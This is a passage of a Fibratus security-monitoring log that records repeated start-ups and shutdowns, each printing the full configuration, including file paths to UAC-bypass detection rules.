......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text max-backups=>15 max-size=>100 log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ template-name=>fibratus sniff=>false healthcheck-timeout=>5s timeout=>5s enabled=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false healthcheck=>true trace-log=>false] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s endpoints=>[] enabled=>false serializer=>json] amqp=>[ passive=>false timeout=>5s delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ enabled=>false tls-insecure-skip-verify=>false durable=>false exchange-type=>topic routing-key=>fibratus exchange=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-mmaps=>false enabled=>false skip-allocs=>false scan-timeout=>10s skip-files=>false fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:24:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:24:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:27:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:27:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:27:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:29:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:29:22+01:00 level=info msg=bootstrapping with pid 15976. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:29:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ max-buffers=>36 enable-image=>true enable-threadpool=>false enable-audit-api=>true enable-thread=>true enable-net=>true flush-interval=>1s enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true stack-enrichment=>true buffer-size=>512 enable-registry=>true enable-fileio=>true enable-dns=>false min-buffers=>16 enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 max-age=>0 level=>info max-backups=>15 log-stdout=>true] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ endpoints=>[] serializer=>json timeout=>5s method=>POST tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false] elasticsearch=>[ gzip-compression=>false flush-period=>1s servers=>[http://127.0.0.1:9200] enabled=>false trace-log=>false healthcheck=>true template-name=>fibratus index-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 sniff=>false healthcheck-timeout=>5s timeout=>5s] amqp=>[ timeout=>5s passive=>false delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false durable=>false enabled=>false routing-key=>fibratus exchange=>fibratus exchange-type=>topic] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-registry=>false scan-timeout=>10s skip-files=>false fastscan=>true excluded-files=>[] enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:29:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:29:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:29:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:29:46+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:29:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:35:37+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:35:37+01:00 level=info msg=bootstrapping with pid 12472. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:35:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html port=>25 enabled=>false use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-threadpool=>false flush-interval=>1s enable-dns=>false enable-mem=>true enable-thread=>true enable-vamap=>true stack-enrichment=>true enable-net=>true enable-audit-api=>true buffer-size=>512 enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true min-buffers=>16 enable-image=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 level=>info log-stdout=>true formatter=>text] + output ......................... [ amqp=>[ delivery-mode=>transient passive=>false exchange-type=>topic vhost=>/ durable=>false exchange=>fibratus url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus] http=>[ tls-insecure-skip-verify=>false endpoints=>[] method=>POST serializer=>json timeout=>5s enable-gzip=>false enabled=>false] elasticsearch=>[ timeout=>5s flush-period=>1s enabled=>false healthcheck-interval=>10s template-name=>fibratus servers=>[http://127.0.0.1:9200] index-name=>fibratus bulk-workers=>1 sniff=>false healthcheck-timeout=>5s trace-log=>false healthcheck=>true gzip-compression=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false skip-files=>false excluded-procs=>[] enabled=>false fastscan=>true scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:35:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:35:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:36:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:36:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:36:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:37:32+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:37:32+01:00 level=info msg=bootstrapping with pid 5656. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:37:32+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true to=>[] enabled=>false port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-thread=>true enable-net=>true enable-audit-api=>true enable-image=>true enable-registry=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>true buffer-size=>512 flush-interval=>1s stack-enrichment=>true enable-handle=>false enable-dns=>false max-buffers=>36 min-buffers=>16 enable-threadpool=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 level=>info formatter=>text max-size=>100] + output ......................... [ elasticsearch=>[ enabled=>false timeout=>5s healthcheck=>true flush-period=>1s trace-log=>false gzip-compression=>false bulk-workers=>1 index-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s sniff=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus] http=>[ serializer=>json timeout=>5s method=>POST endpoints=>[] enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false] amqp=>[ exchange=>fibratus delivery-mode=>transient durable=>false tls-insecure-skip-verify=>false vhost=>/ timeout=>5s passive=>false routing-key=>fibratus exchange-type=>topic enabled=>false url=>amqp://localhost:5672] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s enabled=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-mmaps=>false excluded-procs=>[] skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:37:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:37:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:38:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:38:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:38:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:40:14+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:40:14+01:00 level=info msg=bootstrapping with pid 13340. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:40:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ use-template=>true enabled=>false content-type=>text/html to=>[] port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ flush-interval=>1s enable-thread=>true enable-vamap=>true max-buffers=>36 enable-audit-api=>true min-buffers=>16 enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-handle=>false enable-mem=>true enable-net=>true buffer-size=>512 enable-fileio=>true enable-dns=>false stack-enrichment=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info max-backups=>15 formatter=>text log-stdout=>true max-size=>100] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] elasticsearch=>[ healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false enabled=>false healthcheck-timeout=>5s sniff=>false servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck=>true flush-period=>1s trace-log=>false bulk-workers=>1 template-name=>fibratus] eventlog=>[ enabled=>false level=>info] amqp=>[ vhost=>/ enabled=>false tls-insecure-skip-verify=>false passive=>false durable=>false delivery-mode=>transient timeout=>5s exchange-type=>topic url=>amqp://localhost:5672 routing-key=>fibratus exchange=>fibratus] http=>[ timeout=>5s method=>POST enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] enabled=>false serializer=>json]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false excluded-files=>[] excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s enabled=>false skip-allocs=>false skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:40:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:40:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:41:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:41:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:41:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:46:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:46:51+01:00 level=info msg=bootstrapping with pid 5848. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:46:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] use-template=>true content-type=>text/html enabled=>false port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-vamap=>true flush-interval=>1s enable-audit-api=>true max-buffers=>36 enable-net=>true enable-image=>true min-buffers=>16 enable-thread=>true enable-threadpool=>false stack-enrichment=>true buffer-size=>512 enable-handle=>false enable-fileio=>true enable-mem=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 log-stdout=>true max-backups=>15 max-age=>0 level=>info] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ vhost=>/ tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus exchange-type=>topic passive=>false enabled=>false url=>amqp://localhost:5672 durable=>false delivery-mode=>transient exchange=>fibratus] elasticsearch=>[ flush-period=>1s enabled=>false sniff=>false timeout=>5s index-name=>fibratus gzip-compression=>false bulk-workers=>1 healthcheck-timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-interval=>10s healthcheck=>true] http=>[ serializer=>json endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-registry=>false skip-allocs=>false enabled=>false skip-files=>false excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:46:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:46:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:52:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:52:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:52:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:53:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:53:59+01:00 level=info msg=bootstrapping with pid 14100. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:53:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>true enable-image=>true stack-enrichment=>true buffer-size=>512 enable-vamap=>true enable-dns=>false enable-audit-api=>true enable-threadpool=>false enable-thread=>true max-buffers=>36 enable-handle=>false min-buffers=>16 enable-net=>true flush-interval=>1s enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 log-stdout=>true max-age=>0 max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ tls-insecure-skip-verify=>false vhost=>/ passive=>false delivery-mode=>transient routing-key=>fibratus exchange=>fibratus enabled=>false url=>amqp://localhost:5672 durable=>false exchange-type=>topic timeout=>5s] http=>[ enabled=>false method=>POST endpoints=>[] serializer=>json timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false] elasticsearch=>[ flush-period=>1s healthcheck-interval=>10s trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck=>true sniff=>false timeout=>5s enabled=>false bulk-workers=>1 healthcheck-timeout=>5s gzip-compression=>false index-name=>fibratus]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-allocs=>false fastscan=>true skip-files=>false excluded-procs=>[] skip-registry=>false excluded-files=>[] scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:53:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:54:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:55:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:55:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:55:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:55:34+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:55:34+01:00 level=info msg=bootstrapping with pid 4132. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:55:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ min-buffers=>16 flush-interval=>1s buffer-size=>512 enable-registry=>true enable-mem=>false enable-image=>true enable-threadpool=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 stack-enrichment=>true enable-thread=>true enable-vamap=>true enable-dns=>false enable-audit-api=>true enable-net=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text max-backups=>15 level=>info log-stdout=>true] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ routing-key=>fibratus exchange-type=>topic passive=>false enabled=>false url=>amqp://localhost:5672 durable=>false vhost=>/ timeout=>5s exchange=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false method=>POST serializer=>json timeout=>5s enabled=>false endpoints=>[]] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-timeout=>5s trace-log=>false sniff=>false timeout=>5s flush-period=>1s index-name=>fibratus healthcheck=>true healthcheck-interval=>10s enabled=>false bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false scan-timeout=>10s skip-registry=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-allocs=>false excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:55:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:55:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:55:42+01:00 